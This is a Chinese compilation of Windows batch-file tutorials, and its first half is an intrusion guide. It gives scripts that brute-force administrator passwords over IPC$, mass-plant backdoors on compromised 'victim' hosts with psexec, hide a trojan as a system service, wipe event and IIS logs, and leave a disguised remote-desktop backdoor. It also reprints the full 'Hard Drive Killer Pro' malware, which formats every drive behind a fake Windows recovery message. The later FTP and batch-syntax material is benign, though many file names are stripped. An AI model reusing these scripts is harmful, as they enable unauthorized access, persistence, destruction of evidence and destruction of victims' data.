用i%来表示admin的密码,在中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--

for /f i%% in () do net use ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D: ,这样就ko了。

sample3:

你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)

@for /f "tokens=1,2,3 delims= " %%i in () do start call %%i %%j %%k

tokens的用法请参见上面的sample1,在这里它表示按顺序将中的内容传递给中的参数%i %j %k。

而无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。

delims= 表示中的内容是一空格来分隔的。我想看到这里你也一定明白这里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip

password username。

代码雏形:

--------------- cut here then save as a batchfile(I call it ) ---------------------------

@echo off

@if "%1"=="" goto usage

@for /f "tokens=1,2,3 delims= " %%i in () do start call

%%i %%j %%k

@goto end

:usage

@echo run this batch in dos just double-click it.

:end

--------------- cut here then save as a batchfile(I call it ) ---------------------------

------------------- cut here then save as a batchfile(I call it ) -----------------------------

@net use %1ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy %1admin$system32 && if not errorlevel 1 echo IP %1 USER %2

PWD %3 >>

@psexec %1 c:

@psexec %1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>

:failed

@echo Sorry can not connected to the victim.

----------------- cut here then save as a batchfile(I call it ) --------------------------------

这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(),需放在统一目录下.批处理内容

尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

二.如何在批处理文件中使用参数

批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。

sample1:

@echo off

if "%1"=="a" format a:

:format

@format a:/q/u/auotset

@echo please insert another disk to driver A.

@pause

@goto fomat

这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入 a,呵呵,好像有点画蛇添足了~^_^

sample2:

当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。

@echo off

@net use 1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。

@if errorlevel 1 echo connection failed

怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.

三.如何使用组合命令(Compound Command)

1.&

Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

Sample:

C:>dir z: & dir c:Ex4rch

The system cannot find the path specified.

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:51

.

2002-05-14 23:51

..

2002-05-14 23:51 14

2.&&

Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

Sample:

C:>dir z: && dir c:Ex4rch

The system cannot find the path specified.

C:>dir c:Ex4rch && dir z:

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of c:Ex4rch

2002-05-14 23:55

.

2002-05-14 23:55

..

2002-05-14 23:55 14

1 File(s) 14 bytes

2 Dir(s) 768,671,744 bytes free

The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单,如:

dir file://192.168.0.1/database/ && copy file://192.168.0.1/database/

E:backup

如果远程服务器上存在文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

3.||

Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

Sample:

C:Ex4rch>dir || del

Volume in drive C has no label.

Volume Serial Number is 0078-59FB

Directory of C:Ex4rch

2002-05-14 23:55 14

1 File(s) 14 bytes

0 Dir(s) 768,696,320 bytes free

组合命令使用的例子:

sample:

@copy %1admin$system32 && if not errorlevel 1 echo IP %1 USER %2

PASS %3 >>

四、管道命令的使用

1.| 命令

Usage:第一条命令 | 第二条命令 [| 第三条命令...]

将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

sample:

time /t>>D:

netstat -n -p tcp|find ":3389">>D:

start Explorer

看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

2.>、>>输出重定向命令

将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

sample1:

echo hello world>c: (stupid example?)

sample2:

时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:

运行CMD--转换目录到system32--dir *.exe> & dir *.dll>,

这样所有的EXE和DLL文件的名称都被分别记录到和中,

日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.

这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的和中,然后运行:

CMD--fc > & fc >.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u 将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&

< 从文件中而不是从键盘中读入命令输入。

>& 将一个句柄的输出写入到另一个句柄的输入中。

<& 从一个句柄读取输入并将其写入到另一个句柄输出中。

这些并不常用,也就不多做介绍。

五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)

关于注册表的操作,常见的是创建、修改、删除。

1.创建

创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为―hacker‖的子项。

另一种是创建一个项目名称

那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Invader"="Ex4rch"

"Door"=C:

"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下

新建了:Invader、door、about这三个项目

Invader的类型是―String Value‖

door的类型是―REG SZ Value‖

Autodos的类型是―DWORD Value‖

2.修改

修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除

我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;

我们再看看删除一个子项,我们创建一个如下的脚本:

Windows Registry Editor Version 5.00

[-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。

相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

samlpe1:如上面的那个例子,如想生成如下注册表文件

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

"Invader"="Ex4rch"

"door"=hex:255

"Autodos"=dword:000000128

只需要这样:

@echo Windows Registry Editor Version 5.00>>

@echo

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>

@echo "Invader"="Ex4rch">>

@echo "door"=5>>C:>>

@echo "Autodos"=dword:02>>

samlpe2:

我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为)

@start

@attrib +h +r

@echo

[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>

@echo "windsnx "=- >>

@ create Windriversrv type= kernel start= auto displayname= WindowsDriver

binpath= c:

@regedit /s

@delete

@REM [删除DSNXDE在注册表中的启动项,用将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]

@REM 这样不是更安全^_^.

六.精彩实例放送

1.删除win2k/xp系统默认共享的批处理

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo preparing to delete all the default ready pres any key.

@pause

@echo off

:Rem check parameters if null show usage.

if {%1}=={} goto :Usage

:Rem code start.

echo.

echo ------------------------------------------------------

echo.

echo Now deleting all the default shares.

echo.

net share %1$ /delete

net share %2$ /delete

net share %3$ /delete

net share %4$ /delete

net share %5$ /delete

net share %6$ /delete

net share %7$ /delete

net share %8$ /delete

net share %9$ /delete

net stop Server

net start Server

echo.

echo All the shares have been deleteed

echo.

echo ------------------------------------------------------

echo.

echo Now modify the registry to change the system default properties.

echo.

echo Now creating the registry file

echo Windows Registry Editor Version 5.00> c:

echo

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>>

c:

echo "AutoShareWks"=dword:00000000>> c:

echo "AutoShareServer"=dword:00000000>> c:

echo Nowing using the registry file to chang the system default properties.

regedit /s c:

echo Deleting the temprotarily files.

del c:

goto :END

:Usage

echo.

echo ------------------------------------------------------

echo.

echo ☆ A example for batch file ☆

echo ☆ [Use batch file to change the sysytem share properties.] ☆

echo.

echo Author:Ex4rch

echo Mail:Ex4rch@ QQ:1672602

echo.

echo Error:Not enough parameters

echo.

echo ☆ Please enter the share disk you wanna delete ☆

echo.

echo For instance,to delete the default shares:

echo delshare c d e ipc admin print

echo.

echo If the disklable is not as C: D: E: ,Please chang it youself.

echo.

echo example:

echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :

echo delshare c d e x y z ipc admin print

echo.

echo *** you can delete nine shares once in a useing ***

echo.

echo ------------------------------------------------------

goto :EOF

:END

echo.

echo ------------------------------------------------------

echo.

echo OK, has deleted all the share you assigned.

questions ,feel free to mail toEx4rch@.

echo

echo.

echo ------------------------------------------------------

echo.

:EOF

echo end of the batch file

------------------------ cut here then save as .bat or .cmd file ---------------------------

2.全面加固系统(给肉鸡打补丁)的批处理文件

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo Windows Registry Editor Version 5.00 >

@echo

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>

@echo "AutoShareServer"=dword:00000000 >>

@echo "AutoShareWks"=dword:00000000 >>

@REM [禁止共享]

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>

@echo "restrictanonymous"=dword:00000001 >>

@REM [禁止匿名登录]

@echo

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>

@echo "SMBDeviceEnabled"=dword:00000000 >>

@REM [禁止及文件访问和打印共享]

@echo

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>

@echo "Start"=dword:00000004 >>

@echo

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>

@echo "Start"=dword:00000004 >>

@echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows

NTCurrentVersionWinlogon] >>

@echo "ShutdownWithoutLogon"="0" >>

@REM [禁止登录前关机]

@echo "DontDisplayLastUserName"="1" >>

@REM [禁止显示前一个登录用户名称]

@regedit /s

------------------------ cut here then save as .bat or .cmd file ---------------------------

下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。

@regedit /s

@net stop w3svc

@net stop event log

@del c:winntsystem32logfilesw3svc1*.* /f /q

@del c:winntsystem32logfilesw3svc2*.* /f /q

@del c:winntsystem32config*.event /f /q

@del c:winntsystem32dtclog*.* /f /q

@del c:winnt*.txt /f /q

@del c:winnt*.log /f /q

@net start w3svc

@net start event log

@rem [删除日志]

@net stop lanmanserver /y

@net stop Schedule /y

@net stop RemoteRegistry /y

@del

@echo The server has been patched,Have fun.

@del

@REM [禁止一些危险的服务。]

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal

ServerWinStationsRDP-Tcp] >>

@echo "PortNumber"=dword:00002010 >>

@echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal

ServerWdsrdpwdTdstcp >>

@echo "PortNumber"=dword:00002012 >>

@echo

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>

@echo "Start"=dword:00000002 >>

@echo

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>

@echo "Start"=dword:00000002 >>

@echo "ErrorControl"=dword:00000001 >>

@echo

"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>

@echo

74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>

@echo

00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>

@echo "ObjectName"="LocalSystem" >>

@echo "Type"=dword:00000010 >>

@echo "Descr1ption"="Keep record of the program and windows' message。" >>

@echo "DisplayName"="Microsoft EventLog" >>

@echo

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>

@echo "Start"=dword:00000004 >>

@copy c: c:

@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft

EventLog,留条后路

Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)

------------------------ cut here then save as .bat or .cmd file ---------------------------

@echo off

rem This program is dedecated to a very special person that does not want to be named.

:start

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

call attrib -r -h c: >nul

echo @echo off >c:

echo call format c: /q /u /autoSample >nul >>c:

call attrib +r +h c: >nul

rem Drive checking and assigning the valid drives to the drive variable.

set drive=

set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

rem code insertion for Drive Checking takes place here.

rem is the file name under the root directory.

rem As far as the drive detection and drive variable settings, don't worry about how it

rem works, it's d*amn to complicated for the average or even the expert batch programmer.

rem Except for Tom Lavedas.

echo @echo off >

echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>

del {t}.bat

echo if errorlevel 1 goto enddc >>

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem When errorlevel is 1, then the above is not true, if 0, then it's true.

rem Opposite of binary rules. If 0, it will elaps to the next command.

echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" >

nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>

del {t}.bat

echo if errorlevel 1 goto enddc >>

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.

rem if errorlevel is 0, then it will elaps to the next command.

echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat

%comspec% /e:2048 /c {t}.bat >>

del {t}.bat

echo if errorlevel 1 set drive=%%drive%% %%1 >>

cls

echo PLEASE WAIT WHILE PROGRAM LOADS . . .

rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.

rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

echo :enddc >>

rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

rem Now we will use the program to attain valid drive information.

:Sampledrv

for %%a in (%alldrive%) do call %%a >nul

del >nul

if %drive.==. set drive=c

:form_del

call attrib -r -h c: >nul

echo @echo off >c:

echo echo Loading Windows, please wait while Microsoft Windows recovers your

system . . . >>c:

echo for %%%%a in (%drive%) do call format %%%%a: /q /u

/autoSample >nul >>c:

echo cls >>c:

echo echo Loading Windows, please wait while Microsoft Windows recovers your

system . . . >>c:

echo for %%%%a in (%drive%) do call c: %%%%a Bunga >nul >>c:

echo cls >>c:

echo echo Loading Windows, please wait while Microsoft Windows recovers your

system . . . >>c:

echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:

echo cls >>c:

echo echo Loading Windows, please wait while Microsoft Windows recovers your

system . . . >>c:

echo for %%%%a in (%drive%) do call format %%%%a: /q /u

/autoSample >nul >>c:

echo cls >>c:

echo echo Loading Windows, please wait while Microsoft Windows recovers your

system . . . >>c:

echo for %%%%a in (%drive%) do call c: %%%%a Bunga >nul >>c:

echo cls >>c:

echo echo Loading Windows, please wait while Microsoft Windows recovers your

system . . . >>c:

echo for %%%%a in (%drive%) call deltree /y %%%%a: >nul >>c:

echo cd >>c:

echo cls >>c:

echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version

4.0. >>c:

echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell

you the following. . . >>c:

echo echo 1. To make people aware that security should not be taken for

granted. >>c:

echo echo 2. Love is important, if you have it, truly, don't let go of it like I

did! >>c:

echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is

dead. >>c:

echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal

Party.>>c:

echo echo. >>c:

echo echo Regards, >>c:

echo echo. >>c:

echo echo Munga Bunga >>c:

call attrib +r +h c:

:makedir

if exist c: attrib -r -h c: >nul

echo @echo off >c:

echo %%1: >>c:

echo cd >>c:

echo :star** >>c:

echo for %%%%a in ("if not exist %%2nul md %%2" "if exist %%2nul cd %%2")

do %%%%a >>c:

echo for %%%%a in (">ass_") do echo %%%%a Your Gone

@$$hole!!!! >>c:

echo if not

exist %%1:%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2%%2nul goto star** >>c:

call attrib +r +h c: >nul

cls

echo Initializing Variables . . .

rem deltree /y %%a:*. only eliminates directories, hence leaving the file created above for

further destruction.

for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

for %%a in (%drive%) do call c: %%a Munga >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

for %%a in (%drive%) call attrib -r -h %%a: /S >nul

call attrib +r +h c: >nul

call attrib +r +h c: >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

for %%a in (%drive%) call deltree /y %%a:*. >nul

cls

echo Initializing Variables . . .

echo Validating Data . . .

echo Analyzing System Structure . . .

echo Initializing Application . . .

echo Starting Application . . .

for %%a in (%drive%) do call c: %%a Munga >nul

cls

echo Thank you for using a Munga Bunga product.

echo.

echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.

echo.

echo Here is a joke for you . . .

echo.

echo Q). What's the worst thing about being an egg?

echo A). You only get laid once.

echo.

echo HAHAHAHA, get it? Don't you just love that one?

echo.

echo Regards,

echo.

echo Munga Bunga

:end

rem Hard Drive Killer Pro Version 4.0, enjoy!!!!

rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me

get out of here).

用批处理命令实现FTP文件的自动传输

由于工作的原因,每天需要在Windows操作系统之间或与其它操作系统如UNIX等利用FTP进行文件传输。经常重复这样的工作程序,即繁琐又容易出错。本人经过思考摸索,在Windows操作系统的―任务计划‖帮助下,成功地用批处理命令实现FTP文件的自动传输。现将此操作过程详解,希望对同好有所帮助,更望能抛砖引玉,提出更好的方法。

假设本机操作系统为Windows操作系统,需进行文件传输的目录为C:\datatran;对方计算机操作系统为UNIX操作系统,IP地址为10.30.15.3,需进行文件传输的目录为C:\data,登录用户名为Anonymous,口令为123456。从本机到对方机接收文件操作方法如下。

第一步,先新建一个文本:

Open 10.31.15.3

User anonymous

123456

Cd data

Bin

Prompt

Mget *.*

Bye

Quit

Exit

将该文本保存为存放到C盘根目录。该文件只要扩展名为ftp,前缀可任意取名。目录也不一定要在根目录,主要以方便为主。文本中Bin为用黑吧码格式传输文件,如用ASCII码格式传输文件可去掉该行。如为本机向对方机发送文件,则只要将文本中的Mget替换成Mput即可。这之后,再新建另一个文本:

C:

Cd datatran

ftp–n–s:‖c:\‖

新建完毕后将该文本保存为后存放在硬盘任何分区或软盘中均可。这样,第一步工作已经完成,您随时可以执行该批处理文件进行FTP文件的传输。

第二步,将该该批处理文件放在―任务计划‖中设定自动运行。方法是:打开―开始‖菜单―程序‖下―附件‖中的―系统工具‖,点击―任务计划‖,执行―添加任务计划‖,按―任务计划向导‖提示将该批处理文件添加到任务计划中,并指定执行周期,之后再设下密码后即完成。从此,计算机会根据您的设定,自动周期性地进行文件接收或发送,不再需要您动一下手指,真正做到它工作,您休息。

另外,如果是Windows操作系统之间进行FTP进行文件传输,只要去掉中―Bin‖一行就可以了。

实用的批处理语法、实用大全,实例多,详细

目录

第一章 批处理基础

第一节 常用批处理内部命令简介

1、REM 和 ::

2、ECHO 和 @

3、PAUSE

4、ERRORLEVEL

5、TITLE

6、COLOR

7、mode 配置系统设备

8、GOTO 和 :

9、FIND

10、START

11、assoc 和 ftype

12、pushd 和 popd

13、CALL

14、shift

15、IF

16、setlocal 与 变量延迟(ENABLEDELAYEDEXPANSION /

DISABLEDELAYEDEXPANSION

启动或停用延缓环境变量扩展名。)

17、ATTRIB显示或更改文件属性

第二节 常用特殊符号

1、@命令行回显屏蔽符

2、%批处理变量引导符

3、> 重定向符

4、>>重定向符

5、<、>、<& 重定向符

6、|命令管道符

7、^转义字符

8、组合命令

9、& 组合命令

10、||组合命令

11、""字符串界定符

12、, 逗号

13、; 分号

14、() 括号

15、! 感叹号

第二章 FOR命令详解

一、基本格式

二、参数 /d仅为目录

三、参数 /R递归(文件名)

四、参数 /L迭代数值范围

五、参数 /F迭代及文件解析

第三章 FOR命令中的变量

一、 ~I- 删除任何引号("),扩展 %I

二、 %~fI- 将 %I 扩展到一个完全合格的路径名

三、 %~dI- 仅将 %I 扩展到一个驱动器号

四、 %~pI- 仅将 %I 扩展到一个路径

五、 %~nI- 仅将 %I 扩展到一个文件名

六、 %~xI- 仅将 %I 扩展到一个文件扩展名

七、 %~sI- 扩展的路径只含有短名

八、 %~aI- 将 %I 扩展到文件的文件属性

九、 %~tI- 将 %I 扩展到文件的日期/时间

十、 %~zI- 将 %I 扩展到文件的大小

十一、 %~$PATH:I

第四章 批处理中的变量

一、系统变量

二、自定义变量

第五章 set命令详解

一、用set命令设置自定义变量

二、用set命令进行简单计算

三、用set命令进行字符串处理

1、字符串替换

2、字符串截取

第六章 if命令讲解

第一种用法:IF [NOT] ERRORLEVEL number command

第二种用法:IF [NOT] string1==string2 command

第三种用法:IF [NOT] EXIST filename command

第四种用法:IF增强的用法

第七章 DOS编程高级技巧

一、界面设计

二、if…else…条件语句

三、循环语句

四、子程序

五、用ftp命令实现自动下载

六、用7-ZIP实现命令行压缩和解压功能

七、调用VBScript程序

八、将批处理转化为可执行文件

九、时间延迟

1、利用ping命令延时

2、利用for命令延时

3、利用vbs延迟函数,精确度毫秒,误差1000毫秒内

4、仅用批处理命令实现任意时间延迟,精确度10毫秒,误差50毫秒内

十、模拟进度条

十一、特殊字符的输入及应用

十二、随机数(%random%)的应用技巧

十三、变量嵌套 与 命令嵌套

1、更正了所有的错别字,适当排版,增加条理性。

2、运行改善所有例子,并纠正了一些语法错误。

3、补充了一些不完全的地方。

4、第一章参考了网上许多教程汇编而成。

5、20080229补充了变量延迟的问题。

6、20080305修改了参数usebackq的说明

7、20080310增加了特殊字符的输入及应用

8、20080311修改了子程序部分

9、20080313修改了echo说明,归纳了9个应用方法

10、20080320增加任意时间延迟方法

11、20080321增加了set计算中十进制与八进制混淆问题的说明

12、20080325修正dos数值计算范围:-2147483648至2147483647,即-2^31~2^31-1

13、20080326增加随机数的应用

14、20080327修改了―if增强用法‖中的defined语句说明

15、20080402增加变量嵌套与命令嵌套,重要技巧之一。

======================================================================

第一章 批处理基础

第一节 常用批处理内部命令简介

批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT或者CMD。这些命令统称批处理命令。

小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。

了解了大概意思后,我们正式开始学习.先看一个简单的例子!

@echo off

echo "欢迎来到非常BAT!"

pause

把上面的3条命令保存为文件或者然后执行,

他就会在屏幕上显示以下二行话:

欢迎来到非常BAT!

请按任意键继续. . .

这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令 "echo" 和"pause"

还有一个特殊符号"@"

从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号和一些完成指定功能的命令组合而成,那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!

(以下内容来源网络,请各位仔细阅读,好进入下节的实例说明)

======================================================

批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)

1、REM 和 ::

2、ECHO 和 @

3、PAUSE

4、ERRORLEVEL

5、TITLE

6、COLOR

7、mode 配置系统设备

8、GOTO 和 :

9、FIND

10、START

11、assoc 和 ftype

12、pushd 和 popd

13、CALL

14、shift

15、IF

16、setlocal 与 变量延迟

17、ATTRIB显示或更改文件属性

介绍命令

1、REM 和 ::

REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。

其次, :: 也可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意:

第一, 任何以冒号:开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容。

有效标号:冒号后紧跟一个以字母数字开头的字符串,goto语句可以识别。

无效标号:冒号后紧跟一个非字母数字的一个特殊符号,goto无法识别的标号,可以起到注释作用,所以 :: 常被用作注释符号,其实 :+ 也可起注释作用。

第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 文件中。

行内注释格式:%注释内容%(不常用,慎用)

2、ECHO 和 @

@字符放在命令前将关闭该命令回显,无论此时echo是否为打开状态。

echo命令的作用列举如下:

(1)打开回显或关闭回显功能

格式:echo [{ on|off }]

如果想关闭―ECHO OFF‖命令行自身的显示,则需要在该命令行前加上―@‖。

(2)显示当前ECHO设置状态

格式:echo

(3)输出提示信息

格式:ECHO 信息内容

上述是ECHO命令常见的三种用法,也是大家熟悉和会用的,但作为DOS命令淘金者你还应该知道下面的技巧:

(4)关闭DOS命令提示符

在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO ON,提示符才会重新出现。

(5)输出空行,即相当于输入一个回车

格式:ECHO.

值得注意的是命令行中的―.‖要紧跟在ECHO后面中间不能有空格,否则―.‖将被当作提示信息输出到屏幕。另外―.‖可以用,:;‖/[]+等任一符号替代。

命令ECHO.输出的回车,经DOS管道转向可以作为其它命令的输入,比如ime即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态

(6)答复命令中的提问

格式:ECHO 答复语|命令文件名

上述格式可以用于简化一些需要人机对话的命令(如:CHKDSK/F;FORMAT Drive:;del

*.*)的操作,它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在调用的命令出现人机对话时输入―Y‖回车:

C:>ECHO Y|CHKDSK/F

C:>ECHO Y|DEL A :*.*

(7)建立新文件或增加文件内容

格式:ECHO 文件内容>文件名

ECHO 文件内容>>文件名

例如:

C:>ECHO @ECHO OFF>建立自动批处理文件

C:>ECHO C:CPAVBOOTSAFE>>向自动批处理文件中追加内容

C:>TYPE 显示该自动批处理文件

@ECHO OFF

C:CPAVBOOTSAFE

(8)向打印机输出打印内容或打印控制码

格式:ECHO 打印机控制码>RN

ECHO 打印内容>RN

下面的例子是向M-1724打印机输入打印控制码。<Alt>156是按住Alt键在小键盘键入156,类似情况依此类推:

C:>ECHO +156+42+116>RN(输入下划线命令FS*t)

C:>ECHO [email=+155@]+155@>RN[/email](输入初始化命令ESC@)

C:>ECHO.>RN(换行)

(9)使喇叭鸣响

C:>ECHO ^G

―^G‖是在dos窗口中用Ctrl+G或Alt+007输入,输入多个^G可以产生多声鸣响。使用方法是直接将其加入批处理文件中或做成批处理文件调用。

这里的―^G‖属于特殊符号的使用,请看本文后面的章节

3、PAUSE

PAUSE,玩游戏的人都知道,暂停的意思

在这里就是停止系统命令的执行并显示下面的内容。

例:

PAUSE

运行显示:

